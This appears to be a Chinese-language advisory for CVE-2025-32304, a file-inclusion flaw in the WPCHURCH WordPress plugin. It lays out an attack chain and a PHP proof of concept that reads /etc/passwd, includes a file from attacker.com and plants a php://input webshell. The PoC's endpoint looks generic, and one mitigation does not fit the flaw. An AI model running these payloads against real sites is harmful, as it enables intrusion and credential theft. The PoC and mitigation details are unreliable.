IPBUF安全漏洞报告
English
CVE-2025-32304 CVSS 8.1 高危

CVE-2025-32304 WordPress WPCHURCH插件本地文件包含漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-32304
漏洞类型
本地文件包含(LFI)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mojoomla WPCHURCH (WordPress插件)

相关标签

CVE-2025-32304本地文件包含远程文件包含WordPress插件漏洞WPCHURCHMojoomla路径遍历高危漏洞PHP漏洞RCE

漏洞概述

CVE-2025-32304是WordPress WPCHURCH插件中的一个高危安全漏洞,CVSS评分达到8.1分。该漏洞属于PHP远程文件包含(RFI)和本地文件包含(LFI)类型,产生于应用程序对文件包含操作缺乏适当的输入验证和控制。攻击者可以利用此漏洞通过构造恶意请求,包含服务器上的任意本地文件,甚至可能通过PHP协议包装器执行远程代码。WPCHURCH是Mojoomla公司开发的WordPress教堂管理插件,广泛应用于各类宗教组织的网站建设中,用于管理教会活动、成员信息、讲道信息等内容。由于该插件在WordPress生态中的使用范围较广,此漏洞可能影响大量教会组织和相关机构的网站安全。漏洞影响版本从n/a版本一直延续到2.7.0版本,暴露时间较长,潜在风险不容忽视。

技术细节

该漏洞的根本原因在于WPCHURCH插件的PHP代码中,对include或require语句使用的文件名参数没有进行充分的验证和过滤。攻击者可以通过HTTP请求参数控制被包含的文件路径,从而实现任意本地文件读取或远程文件包含。具体来说,当插件处理用户请求时,会将请求中的某个参数值直接传递给include/require语句,而没有对路径遍历字符(如../)或恶意URL进行过滤。攻击者可以构造如下请求:使用路径遍历序列(如../../../../etc/passwd)读取系统敏感文件,或者使用PHP协议包装器(如php://input)配合POST请求体执行任意PHP代码。在某些配置下,攻击者甚至可以包含远程服务器上的恶意PHP文件,实现远程代码执行(RCE)。要成功利用此漏洞,攻击者需要能够向目标WordPress站点发送HTTP请求,通常不需要认证即可发起攻击,这大大增加了漏洞的威胁程度。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用WordPress CMS,并检查是否安装了WPCHURCH插件。可以通过查看页面源码、扫描插件目录或使用WPScan等工具进行识别。
STEP 2
步骤2: 漏洞探测
攻击者向目标站点发送包含路径遍历字符的测试请求,观察响应内容是否泄露了本地文件内容(如/etc/passwd)。常见测试参数包括file、page、template等文件包含相关参数。
STEP 3
步骤3: 敏感文件读取
确认漏洞存在后,攻击者可以读取服务器上的敏感文件,如WordPress配置文件(wp-config.php)获取数据库凭证,或读取/etc/passwd获取系统用户信息。
STEP 4
步骤4: 远程代码执行
如果服务器配置允许(allow_url_include=On),攻击者可以包含托管在远程服务器上的恶意PHP文件,或者使用PHP协议包装器配合POST请求写入恶意代码,实现远程代码执行。
STEP 5
步骤5: 持久化控制
成功执行代码后,攻击者可以植入Webshell、建立后门账户或修改网站文件,实现对网站的持久化控制,进而进行数据窃取或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-32304 - WordPress WPCHURCH Local File Inclusion PoC * Affected: WPCHURCH Plugin <= 2.7.0 * CVSS: 8.1 (High) * Type: Local File Inclusion / Remote File Inclusion */ // PoC 1: Local File Inclusion - Read system files $target = 'http://target-site.com/wp-admin/admin-ajax.php'; $lfi_payload = '../../../../../../etc/passwd'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?action=wpchurch_include&file=' . urlencode($lfi_payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); // PoC 2: Remote File Inclusion (if allow_url_include is enabled) $remote_lfi = 'http://attacker.com/malicious.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?action=wpchurch_include&file=' . urlencode($remote_lfi)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); // PoC 3: PHP Protocol Wrapper for RCE $php_wrapper = 'php://input'; $data = '<?php system($_GET["cmd"]); ?>'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?action=wpchurch_include&file=' . urlencode($php_wrapper)); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); ?>

影响范围

WPCHURCH <= 2.7.0
Mojoomla WPCHURCH Plugin 所有版本至2.7.0

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 临时禁用WPCHURCH插件;2) 通过.htaccess或Nginx配置阻止包含file、include等敏感参数的请求;3) 在wp-config.php中设置define('ALLOW_UNFILTERED_UPLOADS', false);4) 使用防火墙规则过滤路径遍历字符序列;5) 加强服务器目录权限限制,确保Web用户无法访问系统敏感文件。建议优先考虑升级到插件最新版本以彻底解决该安全问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表